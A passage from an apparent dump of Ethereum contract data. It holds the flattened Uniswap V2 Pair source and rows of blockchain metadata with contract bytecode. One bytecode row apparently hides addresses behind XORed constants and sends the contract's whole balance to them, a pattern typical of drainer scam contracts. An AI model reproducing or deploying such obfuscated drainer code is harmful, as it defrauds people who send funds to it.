fffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032
|
// File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
|
1 | 19,502,309 |
a36c09343d671c74207d3f6033185251f4d89d3692d937773c5b0fe6e715669d
|
b4cd6d22b1befe7b70b09b6531d3a8be1c00deb82d7b990cbe33bfbf7c84fa67
|
1e74ff10c130787ec2112c3bfe626b8cf196d69d
|
1e74ff10c130787ec2112c3bfe626b8cf196d69d
|
969d854512267d98cd859461ed2a73e6f38dbafb
|
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f8a727dc41d83211e47d3c0de4f643835121597034f4a7c93ebf19333a48301af6007557f8a727dc41d83211e47d3c0de2a711c495996e2725d7612974eed7b758777eaab6008557f8a727dc41d83211e47d3c0de5f8b7b37c4e4163f5f773f2362872769c349730e60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122053cf0ba3f0ae100a110e54baaa9231ee865fc58ef4a519dc6b5b23f38b66e9b064736f6c63430008070033
|
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122053cf0ba3f0ae100a110e54baaa9231ee865fc58ef4a519dc6b5b23f38b66e9b064736f6c63430008070033
| |
1 | 19,502,311 |
344f11d833b3db094cf2e4df29d9818a92890366e20b7afa9541d07f7acc1a0d
|
283bad6a0a1c26c62acde0d1bbb258e5a2ae09ad637e9b18b58d6d41285890a6
|
d24400ae8bfebb18ca49be86258a3c749cf46853
|
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
|
411ac8ac09bd9e8e9f2c290a002212edcbc3bc11
|
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,312 |
27653f6e683c58d70a2daf60790de2476fd53eb437e0f66161a3bc20e02d8ef2
|
85ac39f7c5171fd5f839a6e00ea6d11eadd2a482c2ab2958e947c2db27f895bb
|
c951a6307b339da712f5205dff7d27e7ecace119
|
c951a6307b339da712f5205dff7d27e7ecace119
|
1427d671e71ea1bf616e9310afb668f9ad6f2d82
|
608060405260006003553480156200001657600080fd5b5060405162001a4e38038062001a4e83398181016040528101906200003c9190620004cb565b81518160098211158015620000515750818111155b80156200005f575060018110155b6200006957600080fd5b60005b8451811015620001c9576000808683815181106200008f576200008e62000531565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680620001345750600073ffffffffffffffffffffffffffffffffffffffff1685828151811062000114576200011362000531565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16145b156200013f57600080fd5b60016000808784815181106200015a576200015962000531565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080620001c0906200058f565b9150506200006c565b508360019080519060200190620001e2929190620001f4565b508260028190555050505050620005dc565b82805482825590600052602060002090810192821562000270579160200282015b828111156200026f5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019062000215565b5b5090506200027f919062000283565b5090565b5b808211156200029e57600081600090555060010162000284565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200030682620002bb565b810181811067ffffffffffffffff82111715620003285762000327620002cc565b5b80604052505050565b60006200033d620002a2565b90506200034b8282620002fb565b919050565b600067ffffffffffffffff8211156200036e576200036d620002cc565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620003b18262000384565b9050919050565b620003c381620003a4565b8114620003cf57600080fd5b50565b600081519050620003e381620003b8565b92915050565b600062000400620003fa8462000350565b62000331565b905080838252602082019050602084028301858111156200042657620004256200037f565b5b835b818110156200045357806200043e8882620003d2565b84526020840193505060208101905062000428565b5050509392505050565b600082601f830112620004755762000474620002b6565b5b815162000487848260208601620003e9565b91505092915050565b6000819050919050565b620004a58162000490565b8114620004b157600080fd5b50565b600081519050620004c5816200049a565b92915050565b60008060408385031215620004e557620004e4620002ac565b5b600083015167ffffffffffffffff811115620005065762000505620002b1565b5b62000514858286016200045d565b92505060206200052785828601620004b4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200059c8262000490565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203620005d157620005d062000560565b5b600182019050919050565b61146280620005ec6000396000f3fe6080604052600436106100745760003560e01c8063a0e67e2b1161004e578063a0e67e2b1461014b578063c6a2a9f114610176578063d74f8edd146101a1578063f23a6e61146101cc57610075565b80631398a5f6146100ba578063150b7a02146100e55780637c99df4a1461012257610075565b5b60003411156100b8577f5af8184bef8e4b45eb9f6ed7734d04da38ced226495548f46e0c8ff8d7d9a52433346040516100af929190610915565b60405180910390a15b005b3480156100c657600080fd5b506100cf610209565b6040516100dc919061093e565b60405180910390f35b3480156100f157600080fd5b5061010c60048036038101906101079190610a2a565b610213565b6040516101199190610aed565b60405180910390f35b34801561012e57600080fd5b5061014960048036038101906101449190610d89565b610241565b005b34801561015757600080fd5b50610160610412565b60405161016d9190610f4a565b60405180910390f35b34801561018257600080fd5b5061018b6104a0565b604051610198919061093e565b60405180910390f35b3480156101ad57600080fd5b506101b66104aa565b6040516101c3919061093e565b60405180910390f35b3480156101d857600080fd5b506101f360048036038101906101ee9190610f6c565b6104af565b6040516102009190610aed565b60405180910390f35b6000600254905090565b60007f150b7a023d4804d13e8c85fb27262cb750cf6ba9f9dd3bb30d90f482ceeb4b1f905095945050505050565b3073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036102af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a690611063565b60405180910390fd5b610301878787878787878080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506104de565b610340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610337906110cf565b60405180910390fd5b600160035461034f919061111e565b6003819055506000808873ffffffffffffffffffffffffffffffffffffffff16888585604051610380929190611191565b60006040518083038185875af1925050503d80600081146103bd576040519150601f19603f3d011682016040523d82523d6000602084013e6103c2565b606091505b50915091508115610407577fd3eec71143c45f28685b24760ea218d476917aa0ac0392a55e5304cef40bd2b689896040516103fe929190610915565b60405180910390a15b505050505050505050565b6060600180548060200260200160405190810160405280929190818152602001828054801561049657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161044c575b5050505050905090565b6000600354905090565b600981565b60007ff23a6e612e1ff4830e658fe43f4e3cb4a5f8170bd5d9e69fb5d7a7fa9e4fdf9790509695505050505050565b600083518551146104ee57600080fd5b82518451146104fc57600080fd5b6001805490508551111561050f57600080fd5b6002548551101561051f57600080fd5b600061052c8888856106b4565b90506000865167ffffffffffffffff81111561054b5761054a610b19565b5b6040519080825280602002602001820160405280156105795781602001602082028036833780820191505090505b50905060005b875181101561069157600183601b8a84815181106105a05761059f6111aa565b5b60200260200101516105b291906111d9565b8984815181106105c5576105c46111aa565b5b60200260200101518985815181106105e0576105df6111aa565b5b602002602001015160405160008152602001604052604051610605949392919061122c565b6020604051602081039080840390855afa158015610627573d6000803e3d6000fd5b50505060206040510351828281518110610644576106436111aa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808061068990611271565b91505061057f565b5061069b81610732565b6106a457600080fd5b6001925050509695505050505050565b6000806106c285858561087a565b905060006040518060400160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a33320000000081525090508082604051602001610711929190611340565b60405160208183030381529060405280519060200120925050509392505050565b60006001805490508251111561074b5760009050610875565b60005b825181101561086f5760008084838151811061076d5761076c6111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166107cb576000915050610875565b60005b8181101561085b578381815181106107e9576107e86111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1684838151811061081a576108196111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff160361084857600092505050610875565b808061085390611271565b9150506107ce565b50808061086790611271565b91505061074e565b50600190505b919050565b600080308585856003546040516020016108989594939291906113d1565b604051602081830303815290604052805190602001209050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006108e6826108bb565b9050919050565b6108f6816108db565b82525050565b6000819050919050565b61090f816108fc565b82525050565b600060408201905061092a60008301856108ed565b6109376020830184610906565b9392505050565b60006020820190506109536000830184610906565b92915050565b6000604051905090565b600080fd5b600080fd5b610976816108db565b811461098157600080fd5b50565b6000813590506109938161096d565b92915050565b6109a2816108fc565b81146109ad57600080fd5b50565b6000813590506109bf81610999565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126109ea576109e96109c5565b5b8235905067ffffffffffffffff811115610a0757610a066109ca565b5b602083019150836001820283011115610a2357610a226109cf565b5b9250929050565b600080600080600060808688031215610a4657610a45610963565b5b6000610a5488828901610984565b9550506020610a6588828901610984565b9450506040610a76888289016109b0565b935050606086013567ffffffffffffffff811115610a9757610a96610968565b5b610aa3888289016109d4565b92509250509295509295909350565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b610ae781610ab2565b82525050565b6000602082019050610b026000830184610ade565b92915050565b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610b5182610b08565b810181811067ffffffffffffffff82111715610b7057610b6f610b19565b5b80604052505050565b6000610b83610959565b9050610b8f8282610b48565b919050565b600067ffffffffffffffff821115610baf57610bae610b19565b5b602082029050602081019050919050565b600060ff82169050919050565b610bd681610bc0565b8114610be157600080fd5b50565b600081359050610bf381610bcd565b92915050565b6000610c0c610c0784610b94565b610b79565b90508083825260208201905060208402830185811115610c2f57610c2e6109cf565b5b835b81811015610c585780610c448882610be4565b845260208401935050602081019050610c31565b5050509392505050565b600082601f830112610c7757610c766109c5565b5b8135610c87848260208601610bf9565b91505092915050565b600067ffffffffffffffff821115610cab57610caa610b19565b5b602082029050602081019050919050565b6000819050919050565b610ccf81610cbc565b8114610cda57600080fd5b50565b600081359050610cec81610cc6565b92915050565b6000610d05610d0084610c90565b610b79565b90508083825260208201905060208402830185811115610d2857610d276109cf565b5b835b81811015610d515780610d3d8882610cdd565b845260208401935050602081019050610d2a565b5050509392505050565b600082601f830112610d7057610d6f6109c5565b5b8135610d80848260208601610cf2565b91505092915050565b600080600080600080600060c0888a031215610da857610da7610963565b5b6000610db68a828b01610984565b9750